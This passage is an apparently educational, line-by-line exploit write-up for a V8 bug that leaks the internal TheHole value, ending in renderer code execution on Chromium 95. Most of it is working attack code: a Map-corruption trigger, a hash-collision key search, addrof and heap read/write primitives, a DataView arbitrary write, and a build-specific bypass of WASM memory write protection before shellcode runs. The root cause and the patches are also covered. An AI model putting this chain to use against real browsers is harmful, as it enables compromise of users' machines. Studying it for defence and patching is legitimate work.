- constructor: 0x19be08042235 <null>
- dependent code: 0x19be080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
The first line is the command: run the d8 shell on poc.js with native syntax allowed. The second line, hole, is what console.log printed. The rest is %DebugPrint output. It identifies the value as an Oddball named #hole, living in a read-only area of the heap. An oddball is V8's term for a special singleton value such as undefined, null or true. The #hole object is one of these internal singletons, and it should never reach a script. The vulnerability hands it over anyway.
Step 2: Making a Map's size go negative
A JavaScript Map is a collection that stores key-value pairs, like a dictionary: you give it a key, it gives you back the value. It also tracks how many entries it holds, exposed as map.size. The exploit starts from the proof of concept in the bug report:
let hole = trigger(); // Get the hole value
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
// Now map.size = -1
Line by line:
let hole = trigger();obtains the leakedTheHolevalue using the previous step.var map = new Map();creates an empty map.map.set(1, 1);adds an entry with key1and value1.map.set(hole, 1);adds an entry whose key is theTheHolevalue itself.map.delete(hole);deletes the entry keyed byTheHole.map.delete(hole);deletes it a second time.map.delete(1);deletes the entry keyed by1.- The comment states the result: the map's size is now
-1, which should be impossible for a count of entries.
Why does this happen? Deleting a key in a map runs a built-in function written in C++:
TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
const auto receiver = Parameter<Object>(Descriptor::kReceiver);
const auto key = Parameter<Object>(Descriptor::kKey);
const auto context = Parameter<Context>(Descriptor::kContext);
ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE,
"Map.prototype.delete");
const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
TVARIABLE(IntPtrT, entry_start_position_or_hash, IntPtrConstant(0));
Label entry_found(this), not_found(this);
TryLookupOrderedHashTableIndex<OrderedHashMap>(
table, key, &entry_start_position_or_hash, &entry_found, ¬_found);
BIND(¬_found);
Return(FalseConstant());
BIND(&entry_found);
// [1]
// If we found the entry, mark the entry as deleted.
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * OrderedHashMap::HashTableStartIndex());
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));
// Decrement the number of elements, and increment the number of deleted elements.
const TNode<Smi> number_of_elements = SmiSub(
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
const TNode<Smi> number_of_deleted =
SmiAdd(CAST(LoadObjectField(
table, OrderedHashMap::NumberOfDeletedElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfDeletedElementsOffset(),
number_of_deleted);
const TNode<Smi> number_of_buckets = CAST(
LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex()));
// [2]
// If there fewer elements than #buckets / 2, shrink the table.
Label shrink(this);
GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
number_of_buckets),
&shrink);
Return(TrueConstant());
BIND(&shrink);
CallRuntime(Runtime::kMapShrink, context, receiver);
Return(TrueConstant());
}
This is dense, so take it in pieces:
TF_BUILTIN(MapPrototypeDelete, ...)declares the built-in that runs when JavaScript callsmap.delete(...).- The three
Parameterlines fetch the map object (receiver), the key to delete, and the execution context. ThrowIfNotInstanceType(...)checks that the receiver really is aMap; otherwise it raises an error.LoadObjectField(...)loads the map's internal table, the structure that holds the entries.TVARIABLE(...)and the twoLabellines prepare a variable and two named places in the code to jump to: one for "entry found", one for "not found".TryLookupOrderedHashTableIndex(...)searches the table for the key and records where it was found.BIND(¬_found); Return(FalseConstant());handles the case where the key is absent: returnfalse.BIND(&entry_found);starts the code for the case where the key exists.- At marker
[1], twoStoreFixedArrayElement(...)calls overwrite the entry's key and value withTheHoleConstant(). In other words, deletion is implemented by writing the placeholder over the slot. - The next block reads the element count, subtracts one, and stores it back. It then reads the deleted count, adds one, and stores that back. So the bookkeeping says: one fewer live entry, one more deleted slot.
number_of_bucketsreads how many buckets the table has.- At marker
[2], the code compares twice the element count with the bucket count. If twice the elements is less than the number of buckets, it jumps toshrink. BIND(&shrink); CallRuntime(Runtime::kMapShrink, ...)rebuilds the table smaller, which also clears out the deleted slots.
The key insight is at marker [1]. Deleting an entry does not remove it; it overwrites the key with TheHole. If the key was already TheHole, the overwrite changes nothing, so the entry is still there and can be "deleted" again. Each delete still subtracts one from the element count, so the count can be driven down further than it should go.
Marker [2] is the obstacle. Once the element count drops below half the bucket count, the table shrinks and the hole values are cleaned out, and the (hole, 1) entry can no longer be deleted. That is why the proof of concept deletes (hole, 1) twice and then deletes (1, 1) instead. The (1, 1) entry is what pushes the size to -1. The sequence is:
- Set
(1, 1)and(hole, 1)in the map. Nowelement count= 2,bucket count= 2. - Delete
(hole, 1). Nowelement count= 1,bucket count= 2. - Delete
(hole, 1)again. Nowelement count= 0,bucket count= 2. Sinceelement count<bucket count / 2, the map shrinks and theholevalues are removed. - There is no hole value left, so
(hole, 1)cannot be deleted again. The(1, 1)entry is still there, so deleting it decreaseselement countby 1, makingelement count(that is,map.size) equal-1.
A negative size is nonsense, and the engine's later code does not expect it. That is the crack the exploit widens.
Step 3: Changing the map's internal structure
To go further, you need to know what a map looks like in memory. The structure is illustrated below, taken from Andrey Pechkurov's blog post on map internals:

A map is an array with three parts:
- Header: entry count (
element count), deleted count andbucket count. - hashTable: stores the indices of the buckets. Its size depends on
header[2], the bucket count. - dataTable: stores the key, value and index of the next entry in the chain. Its size also depends on
header[2].
Think of a library. The header is the card catalogue's summary: how many books are in stock, how many were withdrawn, how many shelves exist. The hashTable is an index that says which shelf a book belongs on. The dataTable is the shelves themselves, holding the books. If you can rewrite the "number of shelves" figure, the library will happily let you walk past the last real shelf into whatever is stored next door.
After map.size becomes -1, the next map.set() lets you control header[2] (the bucket count) and hashTable[0]. Overwriting the bucket count controls the size of hashTable and dataTable. Setting the bucket count to a large number makes dataTable exceed its boundary, so map.set(), which updates dataTable, gives an out-of-bounds write. This matters because var map = new Map(); creates a map that is actually an array with a fixed size, default 0x11 (17 in decimal).
The plan:
- After making the map's size
-1, place an array of floating point numbers, calledoob_arr, right behind the map.

- Use
map.set()to control the bucket count andhashTable[0], which controls the size ofhashTableanddataTable. The bucket count must be big enough fordataTableto overlap withoob_arr.

- Use
map.set()again to updatedataTable, overwriting the structure ofoob_arr, in particular its length, so the array can be used for OOB read/write.
Why place the array right behind the map? Because memory is laid out in order. If the map's data table is told it is longer than it really is, its writes run past its own end and land on whatever was allocated next. By arranging for that neighbour to be an array the exploit controls, the overflow becomes a way to rewrite that array's own description, including its length. An array that believes it is longer than it is can then read and write past its real end: the OOB primitive.
Step 4: Getting OOB read/write from oob_arr
Overwriting oob_arr's length needs care. Here is a simplified pseudo code of how a map is updated:
hash_table_index = hashcode(key) & (bucket_count-1)
current_index = current_element_count
if hashTable[hash_table_index] == -1:
// add new key-value
// no boundary check
dataTable[current_index].key = key
dataTable[current_index].value = value
..........
else:
// update existing key-value in map
// has boundary check
Line by line:
hash_table_index = hashcode(key) & (bucket_count-1)works out which bucket the key belongs to.hashcodeturns the key into a number, and& (bucket_count-1)keeps only the low bits so the result fits within the number of buckets. The&is a bitwise AND: it compares two numbers bit by bit and keeps a 1 only where both have a 1.current_index = current_element_countpicks the next free slot in the data table.- The
ifchecks whether the chosen bucket is empty, marked by-1. - If it is empty, the code adds a new key-value pair at
current_index. The comment notes there is no boundary check here: it trusts thatcurrent_indexis within the table. - If the bucket is not empty, the code treats the key as already present and updates the existing entry. The comment notes this path does have a boundary check.
That boundary check is the problem. If the exploit's map.set() takes the "update existing" path, the engine notices the index is out of range and the plan fails. So the exploit must force the "add new" path, which means making hashTable[hash_table_index] equal -1. The only hashTable entry the exploit controls is hashTable[0], so it must arrange for hashcode(key) & (bucket_count-1) to equal 0. V8 uses a well-known hash function for hashcode, available in code online, so the exploit can compute the hash of candidate keys itself and pick one that lands in bucket zero. Also, current_index becomes 0 after the bucket count and hashTable[0] are set, so the bucket count must be large enough that updating dataTable[0].key overwrites oob_arr.length.
The values to set carefully:
bucket count: large enough that updatingdataTable[0].keyoverwritesoob_arr.length.hashTable[0]: set to-1so the nextmap.set()passes thehashTable[hash_table_index] == -1check and updatesdataTable[0].key.key: large enough for OOB read/write, and withhashcode(key) & (bucket_count-1)equal to0.
Examining the memory layout with the debugger shows the bucket count should be 0x1c (28 in decimal). A small C++ program then computes a suitable key:
#include <bits/stdc++.h>
using namespace std;
uint32_t ComputeUnseededHash(uint32_t key) {
uint32_t hash = key;
hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}
int main(int argc, char *argv[]) {
uint32_t i = 0;
while(i <= 0xffffffff) {
/* bucket_count is 0x1c
* hashcode(key) & (bucket_count-1) should become 0
* we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 0
*/
uint32_t hash = ComputeUnseededHash(i);
if (((hash&0x1b) == 0) && (i > 0x100)) {
printf("Found: %p\n", i);
break;
}
i = (uint32_t)i+1;
}
return 0;
}
Line by line:
- The
#includeandusing namespacelines pull in the standard C++ library so the program can print. ComputeUnseededHashis a copy of V8's hash function. It takes a 32-bit key and returns a 32-bit hash.- Inside it,
hashstarts as the key, then goes through a series of shifts, additions, multiplications and XORs. XOR, written^, is a bitwise operation that returns 1 where the two bits differ. The comments show equivalent arithmetic forms of some steps. The final line masks the result down to 30 bits with& 0x3fffffff. mainstarts a counteriat zero and loops over the whole 32-bit range.- The comment block restates the goal: with a bucket count of
0x1c, find a key whose hash, masked with0x1b, is zero, and which is larger than0x100so it is big enough to be useful. ComputeUnseededHash(i)computes the hash of the candidate.- The
ifaccepts the candidate when(hash&0x1b) == 0andi > 0x100. - When it finds one, it prints it and stops.
- Otherwise it increments the counter and tries again.
This finds the key 0x111. With map.size at -1, the following snippet achieves OOB read/write in a float array:
// oob array. This array's size will be overwritten by map, thus can do OOB read/write
oob_arr = [1.1, 1.1, 1.1, 1.1];
// OOB write in map, overwrite oob_arr's size to 0x111
map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, overwrite oob_arr's length into 0x111
// Now oob_arr.length == 0x111
Line by line:
oob_arr = [1.1, 1.1, 1.1, 1.1];creates the float array that sits right behind the map. Its length is four, but that is about to change.map.set(0x1c, -1);writes the bucket count0x1cand setshashTable[0]to-1, preparing the map so the next write takes the unchecked "add new" path.map.set(0x111, 0);uses the key found by the C++ program. Because its hash lands in bucket zero, the engine adds a new entry instead of updating one, and the write lands onoob_arr's length field, setting it to0x111(273 in decimal).- The comment confirms the result:
oob_arr.lengthis now0x111.
An array that claims 273 elements while only four exist is the OOB primitive: reading or writing oob_arr[100], for example, reaches memory that belongs to other objects.
Step 5: Learning where objects live (addrof)
With OOB read/write in a float array, more primitives follow. One of the most important in browser exploitation is addrof, which leaks the address of a JavaScript object in V8. Knowing addresses is essential because every later step, such as pointing one object at another, needs them. To get it, place another float array (victim_arr) and an object array (obj_arr) behind oob_arr:

OOB read/write in oob_arr controls the entire structure of victim_arr and obj_arr, including their element pointers. An element pointer is the address where the array's contents begin. To achieve addrof, modify their element pointers so both point to the same heap memory:

If two arrays share the same storage, writing an object into one and reading a number from the other reveals the object's address. Then put the target object in obj_arr[0] and read its address from victim_arr[0]:
oob_arr = [1.1, 1.1, 1.1, 1.1]; // oob array. This array's size will be overwritten by map, thus can do OOB read/write
victim_arr = [2.2, 2.2, 2.2, 2.2]; // victim array. This array lies within oob array, thus its member can be controlled by oob array
obj_arr = [{}, {}, {}, {}]; // object array. Used for storing the object. This array lies within oob array. Thus its member can be controlled by oob array.
// OOB write in map, overwrite oob_arr's size to 0x111
map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, overwrite oob_arr's length into 0x111
data = ftoi(oob_arr[12]); // victim_arr's element and size
ori_victim_arr_elem = data & 0xffffffffn; // get original victim_arr's element pointer
/*
* addrof primitive
* Modify the element pointer of victim_arr ( oob_arr[12] ) & obj_arr ( oob_arr[31] ), make them point to same memory
* Then put object in obj_arr[0] and read its address with victim_arr[0]
*
* @param {object} o Target object
* @return {BigInt} address of the target object
* */
function addrof(o) {
oob_arr[12] = itof((0x8n << 32n) | ori_victim_arr_elem); // set victim_arr's element pointer & size
oob_arr[31] = itof((0x8n << 32n) | ori_victim_arr_elem); // set obj_arr's element pointer & size
obj_arr[0] = o;
return ftoi(victim_arr[0]) & 0xffffffffn;
}
Line by line:
- The first three lines create
oob_arr,victim_arrandobj_arr. The comments explain the roles:oob_arris the array whose length gets overwritten;victim_arrandobj_arrare placed within reach ofoob_arrso their internals can be rewritten. - The two
map.setlines repeat the length corruption from the previous step, sooob_arrcan reach the other two arrays. data = ftoi(oob_arr[12]);reads the memory at index 12 ofoob_arr, which is wherevictim_arr's internal description sits.ftoiis a helper that reinterprets a floating point number as an integer, so the raw bits can be inspected. The comment says this holdsvictim_arr's element pointer and size.ori_victim_arr_elem = data & 0xffffffffn;keeps only the lower 32 bits, which is the original element pointer. Thensuffix means these are BigInt values, JavaScript's arbitrary-precision integers, needed because ordinary numbers cannot hold 64-bit values exactly.- The comment block explains the function: it rewrites the element pointers of
victim_arr(atoob_arr[12]) andobj_arr(atoob_arr[31]) so both point to the same memory, then stores the target object inobj_arr[0]and reads its address fromvictim_arr[0]. - Inside
addrof,oob_arr[12] = itof((0x8n << 32n) | ori_victim_arr_elem);builds a 64-bit value: the size8in the upper 32 bits, and the original element pointer in the lower 32 bits.itofturns those bits back into a float so they can be stored in the float array. This setsvictim_arr's element pointer and size. oob_arr[31] = itof((0x8n << 32n) | ori_victim_arr_elem);does the same forobj_arr, so both arrays now share the same storage.obj_arr[0] = o;writes the target object into the shared storage.return ftoi(victim_arr[0]) & 0xffffffffn;reads the same slot as a number and keeps the low 32 bits, which is the object's address.
Step 6: Reading and writing anywhere on the V8 heap
Since pointer compression was introduced in V8, JavaScript objects live on the V8 heap, a region that stores the object's compressed 32-bit pointer. Each access retrieves the compressed pointer and adds a base value to obtain the real address. Pointer compression is a memory-saving trick: instead of storing full 64-bit addresses, V8 stores 32-bit offsets from a known base, like storing house numbers relative to the start of a street rather than full postal addresses.
Arbitrary read/write on this V8 heap area is useful. Since the element pointer of victim_arr is under control, it can be set anywhere in the V8 heap, and accessing victim_arr[0] reads or writes there. When victim_arr's element pointer is set to addr, victim_arr[0] returns the content at addr+8, so the pointer must be set to addr-8 to read or write the content at addr. The +8 comes from the array's internal layout: the first element sits eight bytes after the start of the storage.
/*
* arbitrary V8 heap read primitive
* Modify the element pointer of victim_arr ( oob_arr[12] )
* Use victim_arr[0] to read 64 bit content from V8 heap
*
* @param {BigInt} addr Target V8 heap address
* @return {BigInt} 64 bit content of the target address
* */
function heap_read64(addr) {
oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
return ftoi(victim_arr[0]);
}
/*
* arbitrary V8 heap write primitive
* Use the same method in heap_read64 to modify pointer
* Then victim_arr[0] to write 64 bit content to V8 heap
*
* @param {BigInt} addr Target V8 heap address
* @param {BigInt} val Written value
* */
function heap_write64(addr, val) {
oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
victim_arr[0] = itof(val);
}
Line by line:
- The comment block for
heap_read64explains that it rewritesvictim_arr's element pointer throughoob_arr[12], then reads 64 bits from the chosen address. oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n));sets the element pointer toaddr-8and the size to 8, so thatvictim_arr[0]lands exactly onaddr.return ftoi(victim_arr[0]);reads that slot and returns its raw bits as a BigInt.- The comment block for
heap_write64explains that it uses the same pointer trick, then writes instead of reading. oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n));is identical to the read version: pointvictim_arrat the target.victim_arr[0] = itof(val);stores the supplied value at that address.
Step 7: Writing anywhere in the process
At this point the exploit can leak the address of any JavaScript object and read/write any V8 heap address. RCE needs an arbitrary write, meaning a write to any address in the process, not just the V8 heap. This version of V8 does not have the V8 Sandbox, a newer protection that would restrict such writes, so an arbitrary write is much easier to achieve.
The steps:
- Create a
DataViewobject (dv) and leak its address withaddrof. ADataViewis a JavaScript object that lets a script read and write the bytes of a buffer with precise control over types and byte order. - Use
heap_read64to leak the V8 heap address that stores the backing store pointer ofdv. The backing store is the actual block of memory theDataViewreads and writes; the pointer says where that block is. - Use
heap_write64to modify the backing store pointer ofdv, after whichdv.setUint8(index, value)gives an arbitrary write. If theDataViewbelieves its buffer starts at an address the attacker chose, then writing through it writes to that address.
dv = new DataView(new ArrayBuffer(0x1000)); // typed array used for arbitrary read/write
dv_addr = addrof(dv);
dv_buffer = heap_read64(dv_addr+0xcn); // dv_addr + 0xc = DataView->buffer
/*
* Set DataView's backing store pointer, so later we can use dv to achieve arbitrary read/write
* @param {BigInt} addr Target address to read/write
* */
function set_dv_backing_store(addr) {
heap_write64(dv_buffer+0x1cn, addr); // dv_buffer+0x1c == DataView->buffer->backing store pointer
}
Line by line:
dv = new DataView(new ArrayBuffer(0x1000));creates a buffer of0x1000bytes (4096) and aDataViewover it. The comment calls it the typed array used for arbitrary read/write.dv_addr = addrof(dv);gets the address of theDataViewobject itself.dv_buffer = heap_read64(dv_addr+0xcn);reads the field at offset0xcfrom theDataView, which the comment identifies as the pointer to its buffer object.- The comment block explains that
set_dv_backing_storewill point theDataViewat any address, so it can be used for arbitrary read/write. heap_write64(dv_buffer+0x1cn, addr);writes the chosen address into the field at offset0x1cof the buffer object, which the comment identifies as the backing store pointer.
set_dv_backing_store sets the backing store pointer of dv to an arbitrary address. These are all the primitives needed to execute shellcode.
Step 8: Writing and running shellcode
The usual next step is to create a WASM function, overwrite the WASM RWX code page with shellcode, and jump to it by triggering the WASM function. The target browser, Chromium 95.0.4638.0, has the wasm-memory-protection-keys flag switched on, which means write-protect WASM memory. That protection prevents writing data directly to WASM memory, which would cause a SEGV, even though the WASM memory pages are marked RWX. In plain terms: the pages are labelled writable and executable, but a hardware-level key is needed to write them, and the browser holds the key. Writing without it crashes the process.
Man Yue Mo from GitHub Security Lab covered a bypass in a blog post:
- Before creating the WASM instance, overwrite the
FLAG_wasm_memory_protection_keysflag so write-protect WASM memory is not enabled. - To locate the address of
FLAG_wasm_memory_protection_keys, get the base address of the Chromium binary, whichaddrofandheap_read64make easy. - After overwriting
FLAG_wasm_memory_protection_keysto0, create the WASM instance. The rest is the same.
Using the same method as the blog post, the exploit leaks the base address of the Chromium binary, calculates the address of FLAG_wasm_memory_protection_keys and overwrites it to 0:
// Calculate the address of FLAG_wasm_memory_protection_keys
// ref: https://securitylab.github.com/research/[redacted]/
oac = new OfflineAudioContext(1,4000,4000);
wrapper_type_info = heap_read64(addrof(oac)+0xcn);
chrome_base = wrapper_type_info - 0xc4a6170n;
FLAG_wasm_memory_protection_keys = chrome_base + 0xc59c7e2n;
// Overwrite FLAG_wasm_memory_protection_keys to 0
set_dv_backing_store(FLAG_wasm_memory_protection_keys); // set dv point to FLAG_wasm_memory_protection_keys
dv.setUint8(0, 0); // Overwrite the flag to 0
Line by line:
- The comment says the block calculates the address of the flag, and cites the blog post it is based on.
oac = new OfflineAudioContext(1,4000,4000);creates anOfflineAudioContext, a browser object used for processing audio without playing it. It is used here only because it is an object whose internal type information points into the Chromium binary, giving a known landmark.wrapper_type_info = heap_read64(addrof(oac)+0xcn);reads a field at offset0xcfrom that object, which holds a pointer to type information inside the binary.chrome_base = wrapper_type_info - 0xc4a6170n;subtracts a fixed offset to work back to the base address where the Chromium binary is loaded. The offset is specific to this build.FLAG_wasm_memory_protection_keys = chrome_base + 0xc59c7e2n;adds another fixed offset to reach the flag's address.set_dv_backing_store(FLAG_wasm_memory_protection_keys);points theDataViewat the flag.dv.setUint8(0, 0);writes a single zero byte there, turning the protection off.
The offset of FLAG_wasm_memory_protection_keys can be found with nm, a command-line tool that lists the symbols (named locations) in a compiled program:
> nm --demangle ./chrome | grep "wasm_memory_protection_keys"
000000000c59c7e2 b v8::internal::FLAG_wasm_memory_protection_keys <--
0000000001884bc1 r v8::internal::FLAGDEFAULT_wasm_memory_protection_keys
Line by line:
nm --demangle ./chromelists the symbols in thechromebinary, with--demangleturning the compiler's mangled names back into readable C++ names.| grep "wasm_memory_protection_keys"pipes the output throughgrep, which keeps only lines containing that text.- The first result is the flag itself, at address
000000000c59c7e2, markedbfor a symbol in the uninitialised data section. The arrow marks it as the one wanted. - The second result is the flag's default value, at
0000000001884bc1, markedrfor read-only data.
After that:
- Create a WASM instance and leak the address of the RWX code page.
- Overwrite the RWX code page with shellcode.
- Jump to the shellcode by triggering the WASM function.
With the protection flag zeroed, the WASM pages behave as ordinary writable memory, so the shellcode can be placed there and then executed by calling the WASM function.
Demo
The demo pops xcalc, a calculator program, in a vulnerable Chromium browser (version 95.0.4638.0, with --no-sandbox). The whole exploit is in the star-sg/CVE repository.
Why the bug existed
IncrementalStringBuilder::Extend() calls Accumulate() but does not check the overflowed_ flag, so no exception is pended. SerializeArrayLikeSlow() then returns EXCEPTION without calling isolate_->Throw. The exception machinery fetches pending_exception, which still holds TheHole, and passes it to the script. Most other error paths pair isolate_->Throw with return EXCEPTION, and that pairing was missing on this path. In other words, the code relied on a convention, "somebody has already raised the error", and one caller broke the convention.
What an attacker could do with it
A leaked TheHole value allows a script to corrupt a Map's size to -1, then to corrupt the map's bucket count and hash table, producing OOB read/write in a float array. From there the exploit builds addrof, V8 heap arbitrary read/write and, via a DataView backing store, an arbitrary write. On Chromium 95.0.4638.0 the WASM write protection is bypassed by zeroing FLAG_wasm_memory_protection_keys, after which shellcode is written to the WASM RWX page and executed. The result is RCE in the renderer process of a Chromium-based browser, and the bug has been used in the wild. The demo relies on --no-sandbox; the report does not describe the behaviour with the sandbox enabled.
The fix
The vulnerability was patched with a single line of code:
Object Isolate::pending_exception() {
+ CHECK(has_pending_exception());
DCHECK(!thread_local_top()->pending_exception_.IsException(this));
return thread_local_top()->pending_exception_;
}
Line by line:
Object Isolate::pending_exception() {is the function that hands out the pending exception.- The added line
CHECK(has_pending_exception());stops the program if there is no pending exception. It turns the silent leak into an immediate, loud failure. DCHECK(...)is a debug-only check that the stored value is not itself an exception object.return thread_local_top()->pending_exception_;returns the stored value.
The patch ensures the program will not fetch the exception when pending_exception is empty.
Because TheHole can still be leaked from other vulnerabilities, such as CVE-2022-1364, Google later submitted another patch to make sure nobody can exploit the renderer with a TheHole value. That patch added CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant())); to make sure the key is not a TheHole value when it is deleted from a map. The second patch adds a check so the key cannot be a TheHole value when it is deleted from a map.
Other ways to look at the same bug
Numen Cyber Labs published a similar article about achieving renderer RCE with the TheHole value. In it, they demonstrate a different method of overwriting an array's length with the bug:
var map1 = null;
var foo_arr = null;
function getmap(m) {
m = new Map();
m.set(1, 1);
m.set(%TheHole(), 1);
m.delete(%TheHole());
m.delete(%TheHole());
m.delete(1);
return m;
}
for (let i = 0; i < 0x3000; i++) {
map1 = getmap(map1);
foo_arr = new Array(1.1, 1.1);//1.1=3ff199999999999a
}
map1.set(0x10, -1);
gc();
map1.set(foo_arr, 0xffff);
%DebugPrint(foo_arr);
Line by line:
var map1 = null;andvar foo_arr = null;declare the two variables the code will use.getmap(m)builds a map with the same delete sequence as before: add(1, 1), add(%TheHole(), 1), delete the hole key twice, delete(1, 1).- The
forloop runs0x3000times, each time rebuilding the map and creating a fresh two-element float arrayfoo_arr. The comment notes that1.1has the hexadecimal bit pattern3ff199999999999a, which is how a float looks in memory. map1.set(0x10, -1);sets the bucket count and hash table entry, as in the earlier method.gc();asks the engine to run garbage collection, which tidies the heap and makes the layout more predictable.map1.set(foo_arr, 0xffff);uses the array itself as the key, which overwrites the target array's length with0xffff.%DebugPrint(foo_arr);prints the array so the new length can be confirmed.
They increase the capacity of the map and overwrite the target array's length with map1.set(foo_arr, 0xffff);, avoiding hashcode calculation, which is more stable and independent of the Chrome or d8 version.
Glossary
- addrof: A primitive that reveals the memory address of a JavaScript object.
- ArrayBuffer: A JavaScript object representing a fixed-length block of raw bytes.
- Backing store: The actual block of memory behind a typed array or
DataView, and the pointer that says where it is. - BigInt: A JavaScript number type for integers too large for ordinary numbers, written with an
nsuffix. - Bitwise AND (
&): An operation that compares two numbers bit by bit and keeps a 1 only where both have a 1. - Bucket: A slot in a hash table where entries are stored, chosen by the key's hash.
- Built-in function: A function provided by the JavaScript engine rather than written by a page.
- CVE: A public identifier for a known security vulnerability.
d8: V8's command-line JavaScript shell, used for testing and debugging the engine.- DataView: A JavaScript object for reading and writing the bytes of a buffer with control over types and byte order.
- Element pointer: The address where an array's contents begin.
- Exception: A signal that something went wrong, caught in JavaScript with
try/catch. FLAG_wasm_memory_protection_keys: A V8 setting that, when on, enables write protection for WASM memory.- Garbage collection (gc): Automatic cleanup of memory no longer in use.
- Hash function: A function that turns a value into a number, used to place entries in a table.
- Hash table: A data structure that uses a hash function to decide where to store entries.
- Heap: A region of memory used for objects created while a program runs.
- Isolate: V8's term for one independent JavaScript environment with its own heap and state.
- JSON: A simple text format for data, using braces for objects and square brackets for arrays.
JSON.stringify(): A built-in that turns a JavaScript value into a JSON string.- Map: A JavaScript collection of key-value pairs that tracks its size.
nm: A command-line tool that lists the named symbols in a compiled program.- Oddball: V8's term for a special singleton value such as
undefined,nullortrue. - OfflineAudioContext: A browser object for processing audio without playing it.
- Out-of-bounds (OOB) read/write: Reading or writing memory past the end of an array, into neighbouring memory.
pending_exception: The slot where V8 stores the current exception, holdingTheHolewhen there is none.- Pointer: A number that says where in memory something lives.
- Pointer compression: A V8 memory-saving technique that stores 32-bit offsets from a base instead of full 64-bit addresses.
- Primitive: A small, reliable capability that an exploit builds on.
- RCE (remote code execution): Running an attacker's code on a target machine.
- Renderer: The browser process that turns a page into what you see and runs its JavaScript.
- Sandbox: Isolation around a process that limits what it can do to the rest of the system.
- SEGV (segmentation fault): The operating system stopping a program for touching memory it is not allowed to touch.
- Serialisation: Turning a live data structure into flat text that can be stored or sent.
- Shellcode: A small piece of machine code an attacker wants to run.
- Sparse array: An array with gaps, where many indices are empty.
TheHole: A special internal V8 value meaning "nothing here", which should never reach a script.- Typed array: A JavaScript array-like object holding numbers of one fixed type.
- V8: The JavaScript engine used by Chrome and Node.js.
- V8 heap: The region of memory where V8 stores JavaScript objects.
- V8 Sandbox: A newer V8 protection that restricts what a compromised engine can reach.
- WASM (WebAssembly): A compact binary format browsers can run at near-native speed.
- XOR (
^): A bitwise operation that returns 1 where two bits differ.